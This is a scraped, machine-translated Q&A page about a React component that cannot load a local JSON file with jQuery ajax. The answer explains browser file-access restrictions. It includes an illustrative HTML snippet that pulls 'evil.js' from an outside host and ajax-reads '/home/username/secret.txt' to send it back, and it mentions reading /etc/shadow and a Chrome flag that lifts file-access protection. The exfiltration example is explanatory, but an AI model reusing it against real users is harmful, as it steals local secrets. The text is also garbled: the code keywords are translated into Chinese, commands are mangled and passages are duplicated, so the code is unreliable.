Javascript 未在react js中使用ajax加载本地json文件
我有以下反应组件Javascript 未在react js中使用ajax加载本地json文件,javascript,jquery,json,ajax,reactjs,Javascript,Jquery,Json,Ajax,Reactjs,我有以下反应组件 import React, { Component } from 'react'; class GraphView extends Component { constructor(props){ super(props); this.state = { datajson: '' }; } componentDidMount() {
import React, { Component } from 'react';
class GraphView extends Component {
constructor(props){
super(props);
this.state = {
datajson: ''
};
}
componentDidMount() {
$.ajax({
url: 'data.json',
dataType: 'json',
success: function(data) {
this.setState({datajson: data});
}.bind(this)
});
}
render() {
return(
<div>
...
</div>
);
}
}
export default GraphView;
import React,{Component}来自'React';
类GraphView扩展组件{
建造师(道具){
超级(道具);
this.state={
datajson:“”
};
}
componentDidMount(){
$.ajax({
url:'data.json',
数据类型:“json”,
成功:功能(数据){
this.setState({datajson:data});
}.绑定(此)
});
}
render(){
报税表(
...
);
}
}
导出默认图形视图;
当我尝试加载本地json文件“data.json”时,它显示了一个未找到的错误。我需要传递任何其他参数吗?我的本地json文件与GraphView文件位于同一文件夹中。在大多数浏览器中,从文件系统加载json是关闭的,因为安全性问题。这通常称为“跨源”,但Chrome也会关闭此功能,即使源(HTML)位于文件系统上 试想一下,从文件系统读取数据会带来怎样的安全问题。文件系统中的HTML是否应该能够与internet进行“跨源”对话 考虑以下HTML:
<html>
<head>
<script src="http://ontheinternet.com/evil.js"></script>
<script>
$.ajax('/home/username/secret.txt', sendBackToMotherShip);
</script>
</head>
</html>
$.ajax('/home/username/secret.txt',发送回Thership);
应该允许加载哪个文件evil.js
或secret.txt
?最坏情况下,运行浏览器的用户可以读取/etc/shadow
您可以通过开关-允许从文件访问文件,关闭chrome中的安全功能,这主意不好,但对于调试目的来说很好
一个简单的解决方法是启动web服务器
- 在节点中:
npm安装-g节点静态和静态
- 在Python3中:
python-mhttp.server8888
,然后打开localhost:8888
在大多数浏览器中,从文件系统加载JSON是关闭的,因为安全性问题。这通常称为“跨源”,但Chrome也会关闭此功能,即使源(HTML)位于文件系统上
试想一下,从文件系统读取数据会带来怎样的安全问题。文件系统中的HTML是否应该能够与internet进行“跨源”对话
考虑以下HTML:
<html>
<head>
<script src="http://ontheinternet.com/evil.js"></script>
<script>
$.ajax('/home/username/secret.txt', sendBackToMotherShip);
</script>
</head>
</html>
$.ajax('/home/username/secret.txt',发送回Thership);
应该允许加载哪个文件evil.js
或secret.txt
?最坏情况下,运行浏览器的用户可以读取/etc/shadow
您可以通过开关-允许从文件访问文件,关闭chrome中的安全功能,这主意不好,但对于调试目的来说很好
一个简单的解决方法是启动web服务器
- 在节点中:
npm安装-g节点静态和静态
- 在Python3中:
python-mhttp.server8888
,然后打开localhost:8888
您可能正在将此文件编译到其他文件夹中的其他文件中?您可能正在将此文件编译到其他文件夹中的其他文件中?